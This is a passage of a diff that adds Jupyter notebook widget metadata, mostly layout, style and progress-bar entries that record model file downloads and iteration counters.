+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_dca153f028a14e3e959c9fe29816223f",
+            "placeholder": "​",
+            "style": "IPY_MODEL_b0367ea7d4b549bc85b64029a6da3ad7",
+            "value": "Downloading (…)okenizer_config.json: 100%"
+          }
+        },
+        "1763740db60f490493e2fe10d35cc58e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e221a677aab740ea888cb7faf343dfbb",
+            "placeholder": "​",
+            "style": "IPY_MODEL_12694ca9da6c43eaa5640a47cea2d10b",
+            "value": " 525k/525k [00:00&lt;00:00, 2.61MB/s]"
+          }
+        },
+        "1766005fceb14bd5a1910622789cc5ad": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1855195ecd9a4ba993c2a4e298d21a44": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "18885db0114b49ee8eeb0af098b9a8c9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "188e9e93c80d4cc699990feb5b52eaee": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_2fb28ad0fe464c7a8b1f3c9354140e51",
+              "IPY_MODEL_4b63548f0285403e9e4f2431632cc3ae",
+              "IPY_MODEL_6fea93ee309c49be85992b1a18756101"
+            ],
+            "layout": "IPY_MODEL_d220c9f6c0684da98525ddfb0ccdf8f5"
+          }
+        },
+        "1895d19dcd574f56b7148ca7235fd0b4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "19469649ab6b44f8b1d6408ac2646579": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1974a1b14cd74807b872ad12380d0fe3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1b448e7eb7c842c2ad3598e401c5a101": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_b25958353ffe4063bf8d09ed149c2550",
+              "IPY_MODEL_e25496021c9f4046bb83f585601baaf4",
+              "IPY_MODEL_69484df819aa44b3858b76432cc84beb"
+            ],
+            "layout": "IPY_MODEL_f6ecc0d4fe1545d8bd0a16de5960285b"
+          }
+        },
+        "1b8ccf560cce482caf4d08a3ed02f0fe": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1bbd2bbca0c04df982278b7c24c8c320": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1cbc65f4245e4c25a64827f0e2beb08d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1d10557816514c4bb08d957fdde13904": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_9dc480c24e9844599de9f1e5e3638f33",
+            "max": 30,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_dffb565d8879412ba6c9989b02cbe661",
+            "value": 30
+          }
+        },
+        "1d631802aab44912a6097e97d2675102": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1da8ad0bdb2547cdb4edc5bc5df7a8ea": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1fcc4a24bf9b4ec6aec98800a872966f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1fe983e43b7f4bca905a65b07eef5491": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e92d28da4f314f73b4c4cccde114f1f4",
+            "max": 10,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_f7728f9c5b0f4f4ca084119f74e9dcaf",
+            "value": 10
+          }
+        },
+        "20d097bf20d541bda6c8b77a0d021c9a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "21e6f865412f4787b04b69da0cafa300": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "224de1d94c8047c49546f4d3a49b86a6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_f0aebefd751e48939aae8e3eac7adfde",
+              "IPY_MODEL_d7335eeea61f49a291bbc9f120c823e7",
+              "IPY_MODEL_7dafba4f66a245659587c06edbffcf51"
+            ],
+            "layout": "IPY_MODEL_6f5b06b458d7482ba9685013cad5bfa7"
+          }
+        },
+        "247e38c4011445f1adb3a832ddb53e2e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "25082abec02c47aab0f6c66225815b6b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "25c92f3c188e4009ba806c6d56cc66c4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "27544c3774b54c018270a66ebbd06edb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "282151a48c29477cb45f8d46beb22f5e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2a8a4ed0b2854b558efd5acce8dcf5c2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ee1a66e0f3ab4c67beef305317124a0f",
+            "placeholder": "​",
+            "style": "IPY_MODEL_b390338978084bd19f7e7e6ce8ea7e44",
+            "value": " 10/10 [00:02&lt;00:00,  3.91it/s]"
+          }
+        },
+        "2b7aaec231e244b1899f99e893b053df": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4afa3f9ee15546c1979113f0e618efcf",
+            "placeholder": "​",
+            "style": "IPY_MODEL_fa37cd2e2ac94455ab624a75eb0a105d",
+            "value": " 50/50 [00:13&lt;00:00,  3.70it/s]"
+          }
+        },
+        "2c0421659acb482295485521efb6bb03": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1766005fceb14bd5a1910622789cc5ad",
+            "placeholder": "​",
+            "style": "IPY_MODEL_b3ca161774d7404d903afbed855f054f",
+            "value": " 10/10 [00:02&lt;00:00,  3.78it/s]"
+          }
+        },
+        "2c4ab41623ca4ce3961c8a105536ecdf": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2dc8bda3ec0046b09c6422b5248f1312": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2ddf4013353e48b9a62c70e2eb68502e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2fb28ad0fe464c7a8b1f3c9354140e51": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4e3eebfc758c467fbf44e81c0de7068d",
+            "placeholder": "​",
+            "style": "IPY_MODEL_f0c88afdf3ac4ca3b63be6f561bbf5f0",
+            "value": "Downloading (…)_encoder/config.json: 100%"
+          }
+        },
+        "305d426ec46a4d14876f9d988fa7cb5c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_6b403cea94ae4e2887302d164e991cf8",
+              "IPY_MODEL_c59286b70fe74bbea779bbfae03e1a87",
+              "IPY_MODEL_d138d9f2076c493da68ff7edb0bc36c7"
+            ],
+            "layout": "IPY_MODEL_04ec14e8bc8f4ad5827e351c01e5a1ee"
+          }
+        },
+        "30e99a47aedb446ab999975c08fd96e3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
